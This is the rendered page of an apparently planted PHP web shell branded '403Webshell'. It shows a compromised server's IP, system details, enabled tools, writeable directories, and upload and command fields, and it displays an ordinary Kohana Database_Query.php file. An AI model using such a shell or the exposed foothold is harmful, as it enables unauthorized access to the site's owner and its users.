403Webshell
Server IP : 23.94.149.180  /  Your IP : 216.73.216.147
Web Server : nginx/1.20.1
System : Linux deadrock 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 15:18:14 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.6.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /files/webmaint/kennethmyatt/gallery3-close/system/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /files/webmaint/kennethmyatt/gallery3-close/system/libraries/Database_Query.php
<?php defined('SYSPATH') or die('No direct script access.');
/**
 * Database query wrapper.
 * 
 * $Id: Database_Query.php 4679 2009-11-10 01:45:52Z isaiah $
 * 
 * @package    Kohana
 * @author     Kohana Team
 * @copyright  (c) 2008-2009 Kohana Team
 * @license    http://kohanaphp.com/license
 */
class Database_Query_Core {

	protected $sql;
	protected $params;
	protected $ttl = FALSE;

	public function __construct($sql = NULL)
	{
		$this->sql = $sql;
	}

	public function __toString()
	{
		// Return the SQL of this query
		return $this->sql;
	}

	public function sql($sql)
	{
		$this->sql = $sql;

		return $this;
	}

	public function value($key, $value)
	{
		$this->params[$key] = $value;

		return $this;
	}

	public function bind($key, & $value)
	{
		$this->params[$key] =& $value;

		return $this;
	}

	public function execute($db = 'default')
	{
		if ( ! is_object($db))
		{
			// Get the database instance
			$db = Database::instance($db);
		}

		// Import the SQL locally
		$sql = $this->sql;

		if ( ! empty($this->params))
		{
			// Quote all of the values
			$params = array_map(array($db, 'quote'), $this->params);

			// Replace the values in the SQL
			$sql = strtr($sql, $params);
		}

		if ($this->ttl !== FALSE)
		{
			// Load the result from the cache
			return $db->query_cache($sql, $this->ttl);
		}
		else
		{
			// Load the result (no caching)
			return $db->query($sql);
		}
	}

	/**
	 * Set caching for the query
	 *
	 * @param  mixed  Time-to-live (FALSE to disable, NULL for Cache default, seconds otherwise)
	 * @return Database_Query
	 */
	public function cache($ttl = NULL)
	{
		$this->ttl = $ttl;

		return $this;
	}

} // End Database_Query

Youez - 2016 - github.com/yon3zu
LinuXploit